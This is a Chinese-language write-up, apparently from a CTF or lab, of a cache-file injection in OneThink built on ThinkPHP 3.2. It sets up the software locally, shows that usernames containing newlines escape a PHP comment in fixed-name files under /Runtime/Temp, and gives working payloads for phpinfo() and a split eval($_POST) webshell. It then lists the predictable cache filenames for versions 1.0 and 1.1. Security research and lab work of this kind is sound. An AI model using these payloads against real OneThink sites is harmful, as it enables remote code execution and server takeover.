OneThink--ThinkPHP3.2 缓存文件泄露

框架漏洞

thinkphp框架写的开源系统或被getshell tp官方onethink举例

因为尝试访问/Runtime/Temp/2bb202459c30a1628513f40ab22fa01a.php的确成功,所以很有可能就是这个漏洞。虽然图都挂掉了,但是大概也能看懂。漏洞的成因大概就是ThinkPHP框架的缓存函数S()是以File方式,在/Runtime/Temp下生成缓存php文件,而且缓存文件名固定。另外乌云的这个漏洞详情没有公开,能找到的文章只有这篇。

本地搭建

https://github.com/liu21st/onethink/releases

一不小心下成了1.1版本,不过应该也没有太多的不同,这里我需要安装两个所需的php插件,并设置可写

$ yum install php-mbstring
$ yum install php-gd
$ chmod  777 -R  wwwroot

浏览/Runtime/Temp目录发现如下文件:

27cdbc1fb1747e4f56dfb350211408e1.php
2923514e8f7dfe49ac5aebd5073e6000.php
5f172c2585b382a65d91e0c51a64dc7f.php
77278367caf1eb2690f686654d77e163.php
ea40274ec2c219aa956e2d44e586834d.php

其中如下两个文件是跟用户有关的文件:

5f172c2585b382a65d91e0c51a64dc7f.php
ea40274ec2c219aa956e2d44e586834d.php

这个两个文件内容一样,但不一定同时存在,内容如下:

<?php
//000000000000a:1:{s:2:"u1";s:13:"Administrator";}
?>

分析利用

如果用户名中存在用换行符或者回车,即可让语句从单行注释中逃逸出来:如注册一个名为%0aphpinfo();//的用户并登陆,这里需要注意注册以及登陆框会将输入url编码,所以要在burp里还原%0a,顺便吐槽一下验证码,太难看清了。登陆前只有ea的一个文件,登陆后5f文件也出现了。观察这两个文件内容如下:


<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";}

访问/wwwroot/Runtime/Temp/ea40274ec2c219aa956e2d44e586834d.php 查看phpinfo()成功,所以可以开心的写木马了,但是这里限制了用户名为16个字符,所以只能分开写:

%0a@eval($_POST[0]);//  [20个字符]


%0a$a=$_POST[0];//      [16个字符]
%0a@eval($a);//         [13个字符]

注册完分别登录,换存文件就变成如下,菜刀链接即可,flag就在根目录下

<?php
//000000000000a:2:{s:2:"u1";s:13:"Administrator";s:2:"u2";s:13:"
phpinfo();//";s:2:"u5";s:16:"
$a=$_POST[0];//";s:2:"u7";s:13:"
@eval($a);//";}

版本不同

1.0 的缓存文件名为:

  • 2bb202459c30a1628513f40ab22fa01a.php
  • 865e8245bc0c525aa4a48bfb433d7c3e.php

1.1 的缓存文件名为:

  • 5f172c2585b382a65d91e0c51a64dc7f.php
  • ea40274ec2c219aa956e2d44e586834d.php